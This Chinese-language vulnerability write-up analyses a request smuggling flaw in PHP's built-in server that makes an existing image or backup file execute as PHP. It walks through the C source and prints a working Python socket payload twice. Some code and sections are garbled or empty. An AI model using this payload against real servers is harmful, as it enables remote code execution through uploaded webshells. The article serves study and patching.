[0DAY]PHP Built-in Server HTTP 请求走私漏洞
导语:PHP 内置服务器存在一个严重的 HTTP 请求走私漏洞,能让一张普通的图片文件变成可执行的 PHP 脚本。本文将从 Zend 内核层面深入剖析这个漏洞的原理。
一、漏洞效果演示
1.1 场景搭建
假设我们有一个目录,里面只有一个图片文件 test.jpg
/var/www/
└── test.jpg # 文件内容其实是 PHP 代码
图片文件的内容实际上是 PHP 代码,但正常情况下访问它只会显示图片的原始字节,不会执行。
1.2 启动 PHP 内置服务器
php -S 127.0.0.1:8888
正常访问 http://127.0.0.1:8888/test.jpg,浏览器会显示图片的原始内容,PHP 代码不会被执行。
1.3 发送攻击 Payload
使用 Python 构造特殊的 HTTP 请求:
import socket
payload = b"GET /test.jpg HTTP/1.1\r\n" \
b"Host: 127.0.0.1\r\n" \
b"\r\n" \
b"POST /x.php HTTP/1.1\r\n" \
b"Host: 127.0.0.1\r\n" \
b"Content-Length: 0\r\n" \
b"\r\n"
s = socket.socket()
s.connect(("127.0.0.1", 8888))
s.send(payload)
print(s.recv(4096).decode())
1.4 神奇的事情发生了
发送 Payload 后,test.jpg 中的 PHP 代码被执行了!
关键点:
- •
test.jpg 必须存在(任意三字符后缀的文件都可以)
二、漏洞原理剖析
2.1 漏洞描述
PHP Built-in Server 在处理 HTTP 请求时,使用了基于回调的事件驱动解析器 php_http_parser。当解析器在单次调用中接收到多个连续的 HTTP 请求时,会依次触发各个请求的回调函数。
核心问题:回调函数对 php_cli_server_request 结构体的字段进行直接覆盖,而没有正确的边界检查,导致:
第一个请求的 path_translated + 第二个请求的 ext = 类型混淆
最终,一个扩展名为 .xxx(任意三字符后缀,如 .png、.jpg、.bak、.gif、.zip 等)的文件会因为扩展名被错误地更新为 .php,而被 PHP 解释器当作脚本执行。
2.2 核心数据结构
请求结构体(php_cli_server_request)
文件位置:sapi/cli/php_cli_server.c
typedefstruct php_cli_server_request {
enum php_http_method request_method; // GET, POST 等
int protocol_version; // HTTP 版本号
char *request_uri; // 原始 URI
size_t request_uri_len;
char *vpath; // 虚拟路径(从 URL 解析)
size_t vpath_len;
char *path_translated; // 文件系统路径
size_t path_translated_len; // 实际执行的文件
char *path_info; // PATH_INFO
size_t path_info_len;
char *query_string; // 查询字符串
size_t query_string_len;
HashTable headers; // HTTP 头部
HashTable headers_original_case;
char *content; // POST 数据
size_t content_len;
const char *ext; // 扩展名指针
size_t ext_len; // 指向 vpath 内部!
zend_stat_t sb; // 文件状态
} php_cli_server_request;
关键字段说明:
- 1.
ext 是一个指针,指向 vpath 字符串的某个位置 - 2. 当
vpath 被释放并重新分配时,ext 会变成悬空指针 - 3.
path_translated 是独立分配的,只有文件存在时才会更新
客户端结构体(php_cli_server_client)
typedefstruct php_cli_server_client {
struct php_cli_server *server;
php_socket_t sock;
struct sockaddr *addr;
socklen_t addr_len;
char *addr_str;
size_t addr_str_len;
php_http_parser parser;
unsigned int request_read:1;
char *current_header_name;
size_t current_header_name_len;
unsigned int current_header_name_allocated:1;
char *current_header_value;
size_t current_header_value_len;
enum { HEADER_NONE=0, HEADER_FIELD, HEADER_VALUE } last_header_element;
size_t post_read_offset;
php_cli_server_request request; // 共享的请求对象!
unsigned int content_sender_initialized:1;
php_cli_server_content_sender content_sender;
int file_fd;
} php_cli_server_client;
问题所在:request 是一个共享的单例对象,多个 HTTP 请求会反复修改同一个 request 结构,没有针对管道化请求的隔离机制。
2.3 内存状态变化分析
以下是内存状态变化的层次结构分析:
┌────────────────────────────────────────┐
│ 📦 php_cli_server_client │
│ (客户端结构) │
├────────────────────────────────────────┤
│ • parser: [状态机] │
│ • request_read: 0 → 1 │
│ • request ───────┐ │
└───────────────────┼────────────────────┘
│
▼
┌───────────────────────────────────┐
│ 📦 php_cli_server_request │
│ (请求对象) │
├───────────────────────────────────┤
│ │
│ ┌─────────────────────────────┐ │
│ │ 阶段一:第一个请求完成 │ │
│ ├─────────────────────────────┤ │
│ │ vpath: "shell.php.bak" │ │
│ │ ↓ │ │
│ │ ext: → "bak" (0x1012) │ │
│ │ path_translated: │ │
│ │ "/var/www/shell.php.bak" │ │
│ └─────────────────────────────┘ │
│ │
│ ┌─────────────────────────────┐ │
│ │ 阶段二:on_path() 调用后 │ │
│ ├─────────────────────────────┤ │
│ │ vpath: "phantom.php" (覆盖) │ │
│ │ ↓ │ │
│ │ ext: → ❌ 悬空指针! │ │
│ │ (0x1012 指向已释放内存) │ │
│ │ path_translated: 未改变 │ │
│ └─────────────────────────────┘ │
│ │
│ ┌─────────────────────────────┐ │
│ │ 阶段三:on_complete() 后 │ │
│ ├─────────────────────────────┤ │
│ │ vpath: "phantom.php" │ │
│ │ ↓ │ │
│ │ ext: → "php" (0x1008) │ │
│ │ path_translated: 仍未改变 │ │
│ │ "/var/www/shell.php.bak" │ │
│ │ │ │
│ │ ⚠️ 类型混淆状态! │ │
│ └─────────────────────────────┘ │
│ │
└───────────────────────────────────┘
关键变化说明:
- •
vpath 指向 "shell.php.bak" - •
ext 指向 vpath[18],即 "bak" - •
path_translated 设置为 "/var/www/shell.php.bak"
- •
vpath 被覆盖为 "phantom.php"
- •
ext 更新为指向 vpath[8],即 "php" - • 最终状态:
path_translated 指向 .bak 文件,但 ext 是 "php"
2.4 关键代码分析
请求读取入口
文件位置:sapi/cli/php_cli_server.c - php_cli_server_client_read_request
static int php_cli_server_client_read_request(
php_cli_server_client *client,
char **errstr)
{
char buf[16384]; // 16KB 缓冲区,可容纳多个请求
static const php_http_parser_settings settings = {
php_cli_server_client_read_request_on_message_begin,
php_cli_server_client_read_request_on_path, // 关键回调!
php_cli_server_client_read_request_on_query_string,
php_cli_server_client_read_request_on_url,
php_cli_server_client_read_request_on_fragment,
php_cli_server_client_read_request_on_header_field,
php_cli_server_client_read_request_on_header_value,
php_cli_server_client_read_request_on_headers_complete,
php_cli_server_client_read_request_on_body,
php_cli_server_client_read_request_on_message_complete // 关键回调!
};
size_t nbytes_consumed;
int nbytes_read;
// 【检查点】: 如果已读取完成,直接返回
if (client->request_read) {
return 1; // ⚠️ 只在函数入口检查一次
}
// 从 socket 读取数据
// 如果客户端发送了多个请求,可能一次性读入 buf
nbytes_read = recv(client->sock, buf, sizeof(buf) - 1, 0);
// ... 错误处理 ...
client->parser.data = client;
// 【漏洞触发点】: 调用 HTTP 解析器
// 这个函数会解析 buf 中的所有完整请求
// 每解析完一个请求,都会调用 on_message_complete
nbytes_consumed = php_http_parser_execute(&client->parser,
&settings,
buf,
nbytes_read);
// ...
return client->request_read ? 1 : 0;
}
问题分析:
- •
client->request_read 检查只在函数入口执行一次 - • 无法阻止
php_http_parser_execute() 内部解析多个请求 - • 每遇到
\r\n\r\n(请求结束标记),就触发 on_message_complete
路径回调函数
文件位置:sapi/cli/php_cli_server.c - php_cli_server_client_read_request_on_pathstatic int php_cli_server_client_read_request_on_path(
php_http_parser *parser,
const char *at, // 指向解析缓冲区中的路径字符串
size_t length) // 路径长度
{
php_cli_server_client *client = parser->data;
{
char *vpath;
size_t vpath_len;
// 规范化虚拟路径(处理 URL 编码、相对路径等)
normalize_vpath(&vpath, &vpath_len, at, length, 1);
// ⚠️ 漏洞点: 无条件覆盖
// 问题1: 没有检查 client->request_read 标志
// 问题2: 直接覆盖指针,导致 ext 成为悬空指针
// 问题3: 没有释放旧的 vpath 内存
client->request.vpath = vpath;
client->request.vpath_len = vpath_len;
}
return 0;
}
路径翻译函数
文件位置:sapi/cli/php_cli_server.c - php_cli_server_request_translate_vpath
static void php_cli_server_request_translate_vpath(
php_cli_server_request *request,
const char *document_root,
size_t document_root_len)
{
zend_stat_t sb;
static const char *index_files[] = { "index.php", "index.html", NULL };
// 分配缓冲区并构建完整路径
char *buf = safe_pemalloc(1, request->vpath_len,
1 + document_root_len + 1 + sizeof("index.html"), 1);
// ... 路径拼接逻辑 ...
// 【关键循环】: 尝试 stat 文件
while (q > buf) {
if (!php_sys_stat(buf, &sb)) {
// 文件存在
if (sb.st_mode & S_IFDIR) {
// 如果是目录,尝试查找 index 文件
// ...
}
// 找到普通文件,跳出循环
break;
}
// 文件不存在,尝试去掉最后一个路径组件
// ...
}
// 如果第二个请求的文件(phantom.php)不存在,
// 函数会直接 return,不修改 path_translated
// 因此导致 path_translated 保持为第一个请求的值
}
扩展名提取函数
文件位置:sapi/cli/php_cli_server.c - php_cli_server_client_read_request_on_message_complete
static int php_cli_server_client_read_request_on_message_complete(php_http_parser *parser)
{
php_cli_server_client *client = parser->data;
// 设置协议版本
client->request.protocol_version = parser->http_major * 100 + parser->http_minor;
// 翻译虚拟路径为文件系统路径
php_cli_server_request_translate_vpath(&client->request,
client->server->document_root,
client->server->document_root_len);
// 提取文件扩展名
{
const char *vpath = client->request.vpath;
const char *end = vpath + client->request.vpath_len;
const char *p = end;
client->request.ext = end;
client->request.ext_len = 0; // 默认设置:无扩展名
// 从后向前查找最后一个 '.'
while (p > vpath) {
--p;
if (*p == '.') {
++p;
// ⚠️ 问题: ext 是一个普通指针,直接指向 vpath 的某个位置
// 当 vpath 被释放或重新分配时,ext 会成为悬空指针
client->request.ext = p;
client->request.ext_len = end - p;
break;
}
}
}
// 标记请求已读取
// ⚠️ 问题: 这个标志的设置"太晚"了
// 解析器在同一次 php_http_parser_execute 调用中,
// 还会继续处理 buffer 中的剩余数据(第二个请求)
client->request_read = 1;
return 0;
}
请求分发函数
文件位置:sapi/cli/php_cli_server.c - php_cli_server_dispatch
static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client)
{
int is_static_file = 0;
SG(server_context) = client;
// 【关键判断】通过 ext 和 path_translated 来判断文件类型
if (client->request.ext_len != 3 ||
memcmp(client->request.ext, "php", 3) ||
!client->request.path_translated) {
// 条件1: 扩展名长度 | 条件2: 扩展名内容 | 条件3: 路径有效性
is_static_file = 1;
}
// ...
if (!is_static_file) {
// 当作 PHP 脚本执行
// 使用 path_translated 作为脚本路径
php_cli_server_dispatch_script(server, client);
} else {
// 当作静态文件处理
php_cli_server_begin_send_static(server, client);
}
// ...
}
2.5 攻击流程总结
[图片占位13:攻击流程示意图]
┌─────────────────────────────────────┐
│ 攻击者发送走私请求 │
│ GET /shell.jpg + GET /phantom.php │
└──────────────────┬──────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 单次 php_http_parser_execute() 调用 │
│ 处理多个请求 │
└─────────────────────────────────────────────────────────────────────┘
│
┌───────────────────────────┼───────────────────────────┐
│ │ │
▼ ▼ ▼
┌───────────────────┐ ┌───────────────────┐ ┌───────────────────┐
│ 第一个请求 │ │ 第二个请求 │ │ dispatch() │
│ (shell.jpg) │ │ (phantom.php) │ │ 判断逻辑 │
├───────────────────┤ ├───────────────────┤ ├───────────────────┤
│ • 文件存在 ✓ │ │ • 文件不存在 ✗ │ │ ext_len == 3 ✓ │
│ • path_translated │ + │ • path_translated │ → │ ext == "php" ✓ │
│ = shell.jpg │ │ 未改变 │ │ path_translated │
│ │ │ • ext = "php" │ │ != NULL ✓ │
└───────────────────┘ └───────────────────┘ ├───────────────────┤
│ is_static_file=0 │
│ 当作PHP执行! │
└───────────────────┘
关键:第一个文件(任意三字符后缀的后门文件,必须存在)的处理方式由第二个文件(.php 结尾,不需要存在)的扩展名决定。当第二个请求的 ext 被识别为 "php" 时,is_static_file 被设为 0,触发 php_cli_server_dispatch_script() 将第一个请求的静态文件作为 PHP 代码执行。
三、影响范围
3.1 受影响的版本
3.2 利用条件
- 2. Web 目录可上传文件,或者存在任意三字符后缀的 webshell 文件
四、漏洞利用 Payload
import socket
# 构造走私请求
# 第一个请求:GET /test.jpg(目标文件,必须存在)
# 第二个请求:POST /x.php(控制扩展名,不需要存在)
payload = b"GET /test.jpg HTTP/1.1\r\n" \
b"Host: 127.0.0.1\r\n" \
b"\r\n" \
b"POST /x.php HTTP/1.1\r\n" \
b"Host: 127.0.0.1\r\n" \
b"Content-Length: 0\r\n" \
b"\r\n"
s = socket.socket()
s.connect(("127.0.0.1", 8888))
s.send(payload)
print(s.recv(4096).decode())
五、修复建议
- 1. 升级 PHP 版本:将 PHP 升级到 7.4.22 或更高版本
- 2. 避免生产环境使用:
php -S 内置服务器仅适用于开发调试,切勿用于生产环境 - 3. 使用专业 Web 服务器:生产环境应使用 Nginx、Apache 等专业 Web 服务器
六、总结
这个漏洞的精髓在于状态混淆:
- •
path_translated 和 ext 两个字段的更新时机不一致
通过精心构造的 HTTP 请求走私,攻击者可以让服务器将任意静态文件误判为 PHP 脚本执行,从而实现代码执行。
参考资料
- • PHP 源码:https://www.php.net/distributions/php-7.3.4.tar.gz
文稿 | ph@nt0m
本文仅供安全研究与学习交流,请勿用于非法用途。